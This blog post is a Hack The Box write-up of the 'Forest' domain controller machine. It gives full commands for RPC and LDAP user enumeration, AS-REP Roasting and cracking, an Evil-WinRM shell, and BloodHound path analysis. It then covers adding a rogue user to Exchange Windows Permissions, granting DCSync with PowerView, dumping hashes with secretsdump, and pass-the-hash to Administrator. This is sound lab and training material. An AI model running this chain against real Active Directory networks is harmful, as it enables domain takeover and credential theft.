Forest Walkthrough

Machine: Forest#

Date: 29-03-2026 Platform: HTB Status: [Rooted]


πŸ” Recon#

Nmap:

nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP

Results:

  • Port 53 β†’ DNS (Simple DNS Plus)
  • Port 88 β†’ Kerberos
  • Port 135 β†’ MSRPC
  • Port 139 β†’ NetBIOS
  • Port 389 β†’ LDAP β€” Domain: htb.local
  • Port 445 β†’ SMB β€” Windows Server 2016 Standard 14393
  • Port 464 β†’ kpasswd5
  • Port 636 β†’ LDAPS
  • Port 3268/3269 β†’ Global Catalog LDAP
  • Port 5985 β†’ WinRM ← shell access
  • Port 9389 β†’ ADWS (Active Directory Web Services)

Full port scan:

nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP
  • No additional relevant ports

UDP scan:

nmap -sU --top-ports 20 -oN scans/nmap_udp.txt $MACHINE_IP
  • Port 53 UDP β†’ DNS open
  • Port 123 UDP β†’ NTP open

Notes:

  • Full Domain Controller profile β€” DNS + Kerberos + LDAP + SMB + WinRM all open
  • Domain: htb.local | Hostname: FOREST | FQDN: FOREST.htb.local
  • OS: Windows Server 2016 Standard (Build 14393)
  • Port 5985 WinRM open β†’ if we get credentials, we get a shell directly
  • This is a pure AD machine β€” no web services, no FTP, no SSH. Full AD attack path.
echo "10.129.95.210  htb.local FOREST.htb.local" >> /etc/hosts

πŸ“‚ Enumeration#

SMB null session:

smbmap -H $MACHINE_IP
# Access denied β€” no anonymous SMB access

RPC null session β€” user enumeration:

rpcclient -U "" -N 10.129.95.210 -c "enumdomusers"
  • Full user list obtained without any credentials:
Administrator, Guest, krbtgt, DefaultAccount
sebastien, lucinda, svc-alfresco, andy, mark, santi
+ multiple SM_ and HealthMailbox accounts (Exchange)

LDAP anonymous bind:

ldapsearch -x -H ldap://10.129.95.210 -b "DC=htb,DC=local" \
  "(objectClass=person)" sAMAccountName 2>/dev/null | grep sAMAccountName
  • Confirmed same user list + computer accounts FOREST$ and EXCH01$
  • Exchange is installed β†’ Exchange Windows Permissions group exists β†’ relevant for privesc

Notes:

  • RPC null session allowed full user enumeration without credentials
  • Exchange installation creates privileged groups that are frequently abused for privilege escalation
  • svc-alfresco is a service account β€” prime target for AS-REP Roasting
  • No Kerberoastable accounts found (would need credentials for that)

πŸ’₯ Exploitation#

Attempt 1: SMB null session β†’ no access

Attempt 2: kerbrute user enumeration β†’ DNS resolution error (wrong syntax used)

Exploit used: AS-REP Roasting β†’ svc-alfresco

AS-REP Roasting works against accounts that have “Do not require Kerberos preauthentication” set. When this flag is enabled, the KDC will return an AS-REP response encrypted with the user’s password hash β€” without requiring the client to prove they know the password first. This encrypted blob can then be cracked offline.

# Build user list from RPC enumeration
cat > loot/users.txt << EOF
sebastien
lucinda
svc-alfresco
andy
mark
santi
EOF

# Request AS-REP hashes for all users
GetNPUsers.py htb.local/ -usersfile loot/users.txt -no-pass \
  -dc-ip 10.129.95.210 -format john
  • All users except svc-alfresco returned UF_DONT_REQUIRE_PREAUTH not set β†’ protected
  • svc-alfresco returned a full $krb5asrep$23$ hash βœ…

Cracking the hash:

# IMPORTANT: verify hash is on a single line before cracking
wc -l loot/hash.txt   # must be 1 β€” if not, fix with tr -d '\n'

# Crack β€” always specify --format=krb5asrep explicitly
john loot/hash.txt --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt
[REDACTED]   (svc-alfresco)

Initial shell via WinRM:

evil-winrm -i 10.129.95.210 -u svc-alfresco -p [REDACTED]
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
`[FLAG REDACTED]`

Result: Shell as svc-alfresco βœ…


⚑ Privilege Escalation#

BloodHound Collection#

# Upload SharpHound to the target via Evil-WinRM
upload /path/to/SharpHound.exe

# Run collection β€” gather all AD data
./SharpHound.exe -c All --zipfilename forest_bh.zip

# Download the resulting zip back to attacker machine
download forest_bh.zip

Start BloodHound CE (Docker):

# On attacker Mac/Linux
docker-compose up -d
# Access at http://localhost:8080
# Login with admin credentials set on first run

Import the zip: BloodHound CE β†’ Upload icon (left sidebar) β†’ select forest_bh.zip β†’ import.

BloodHound Analysis#

After collecting data with SharpHound and importing into BloodHound CE, the PATHFINDING query from [email protected] to DOMAIN [email protected] revealed the following attack path:

SVC-ALFRESCO
    β”‚ MemberOf
    β–Ό
SERVICE ACCOUNTS
    β”‚ MemberOf
    β–Ό
PRIVILEGED IT ACCOUNTS
    β”‚ MemberOf
    β–Ό
ACCOUNT OPERATORS         ← key privilege
    β”‚ GenericAll
    β–Ό
EXCHANGE WINDOWS PERMISSIONS
    β”‚ WriteDacl on domain
    β–Ό
HTB.LOCAL (domain object) ← grant DCSync here
    β”‚ Contains
    β–Ό
DOMAIN ADMINS / ADMINISTRATOR

Why This Attack Chain Works β€” Technical Deep Dive#

Step 1 β€” Account Operators membership:

svc-alfresco is nested inside SERVICE ACCOUNTS β†’ PRIVILEGED IT ACCOUNTS β†’ ACCOUNT OPERATORS. The Account Operators built-in group is a legacy Windows group that can create and modify most user and group accounts in the domain β€” without being Domain Admin. Critically, Account Operators members can add users to any group except Domain Admins, Administrators, and a few other protected groups.

Step 2 β€” Exchange Windows Permissions has WriteDACL on the domain:

When Microsoft Exchange is installed in an Active Directory environment, it creates several privileged groups including Exchange Windows Permissions. This group is granted WriteDACL on the domain object (DC=htb,DC=local) by the Exchange setup process β€” Exchange needs this to manage mail-related attributes. WriteDACL means any member of this group can modify the Access Control List (ACL) of the domain object itself β€” essentially rewriting who has what permissions over the entire domain.

Step 3 β€” Account Operators can add users to Exchange Windows Permissions:

Since Exchange Windows Permissions is not a protected group (not Domain Admins, not Administrators), Account Operators members can freely add users to it. This creates a clear privilege escalation path: Account Operators β†’ add user to Exchange Windows Permissions β†’ use WriteDACL to grant DCSync.

Step 4 β€” DCSync rights:

DCSync is not a single privilege β€” it’s a combination of three Extended Rights on the domain object:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • DS-Replication-Get-Changes-In-Filtered-Set

Any account with these three rights can impersonate a Domain Controller and request replication of password data from real DCs using the DRSUAPI protocol β€” the same mechanism real DCs use to sync with each other. This dumps all password hashes in the domain including krbtgt and Administrator.

Exploitation#

Step 1 β€” Create user and add to Exchange Windows Permissions (as svc-alfresco via Evil-WinRM):

net user hacker Password123! /add /domain
net group "Exchange Windows Permissions" hacker /add

Step 2 β€” Upload PowerView and grant DCSync rights to hacker:

# Upload
upload /usr/share/windows/powersploit/Recon/PowerView.ps1

# Import and grant DCSync
Import-Module ./PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" `
  -PrincipalIdentity hacker -Rights DCSync -Verbose

Why we use -Credential $Cred: We need to authenticate as hacker (who is in Exchange Windows Permissions and therefore has WriteDACL) not as svc-alfresco. The -Credential parameter forces PowerView to make the LDAP call as hacker instead of the current session user.

Step 3 β€” DCSync from attacker machine:

secretsdump.py htb.local/hacker:[email protected]
[NTLM HASH REDACTED]

Step 4 β€” Pass-the-Hash as Administrator:

evil-winrm -i 10.129.95.210 -u Administrator -H [REDACTED]

Why this works (Pass-the-Hash): Windows NTLM authentication doesn’t require knowing the plaintext password β€” it only requires the NT hash. Evil-WinRM can authenticate directly with the hash using the WinRM protocol, bypassing the need to crack it.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
`[FLAG REDACTED]`

Successful escalation: NT AUTHORITY\SYSTEM / Administrator βœ…


🧩 Attack Chain#

  1. Port scan β†’ full DC profile: DNS, Kerberos, LDAP, SMB, WinRM
  2. RPC null session β†’ full user list without credentials
  3. LDAP anonymous bind β†’ confirmed users + Exchange installation detected
  4. AS-REP Roasting β†’ svc-alfresco has preauthentication disabled β†’ hash obtained
  5. john + rockyou β†’ [REDACTED]
  6. Evil-WinRM β†’ shell as svc-alfresco β†’ user flag
  7. SharpHound collection β†’ BloodHound CE import
  8. BloodHound PATHFINDING: svc-alfresco β†’ Service Accounts β†’ Privileged IT Accounts β†’ Account Operators β†’ Exchange Windows Permissions (WriteDACL on domain)
  9. net user hacker /add + net group "Exchange Windows Permissions" hacker /add
  10. PowerView Add-DomainObjectAcl β†’ DCSync rights granted to hacker
  11. secretsdump.py β†’ DCSync β†’ Administrator NTLM hash
  12. Evil-WinRM Pass-the-Hash β†’ Administrator β†’ root flag βœ…

🎯 Loot / Flags#

  • user.txt: ``[FLAG REDACTED]β†’C:\Users\svc-alfresco\Desktop\user.txt`
  • root.txt: ``[FLAG REDACTED]β†’C:\Users\Administrator\Desktop\root.txt`

Credentials and hashes found:

UserCredentialType
svc-alfresco[REDACTED]Plaintext (cracked AS-REP)
hackerPassword123!Created by attacker
Administrator[REDACTED]NTLM hash (DCSync)

πŸ“ Lessons Learned#

  • RPC null sessions reveal everything β€” Anonymous RPC access gave us the full user list without any credentials. Always try rpcclient -U "" -N and ldapsearch -x before assuming you need credentials for enumeration.
  • Service accounts are AS-REP Roasting targets β€” svc-alfresco had preauthentication disabled, which is a common misconfiguration for service accounts set up by administrators who don’t understand the security implications. Always AS-REP Roast every service account you find.
  • Exchange in AD = privilege escalation opportunity β€” The combination of Account Operators + Exchange Windows Permissions (WriteDACL) is a well-known attack path in Exchange environments. BloodHound makes this immediately visible. Any time you see Exchange installed, check these group memberships.
  • BloodHound is essential for AD β€” The attack path from svc-alfresco to Domain Admin was not obvious from manual enumeration. BloodHound’s graph analysis revealed a multi-hop privilege chain that would have taken hours to find manually. Always run SharpHound immediately after getting a foothold in AD.
  • WriteDACL on the domain object = Domain Admin β€” Being able to modify ACLs on the domain object is functionally equivalent to being Domain Admin. DCSync rights allow dumping all password hashes from any machine on the network. This is why Exchange’s default permissions are so dangerous.
  • Always verify AS-REP hash is on a single line β€” john silently fails without error if the hash has a line break in it. Always wc -l hash.txt before cracking and always specify --format=krb5asrep explicitly.
  • Pass-the-Hash with Evil-WinRM β€” You never need to crack the Administrator hash if you have WinRM access. NTLM authentication works with the hash directly via -H. Cracking is optional for lateral movement β€” Pass-the-Hash is faster and just as effective.

#HTB #ActiveDirectory #Windows #DomainController #Enumeration #RPC #LDAP #Kerberos #ASREPRoast #GetNPUsers #JohnTheRipper #WinRM #EvilWinRM #BloodHound #SharpHound #PrivilegeEscalation #AccountOperators #ExchangeWindowsPermissions #WriteDACL #DCSync #SecretsDump #PassTheHash #Administrator #Root #ADAttackPath #ServiceAccounts


Adapted from MountainFlayer/htb-writeups under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop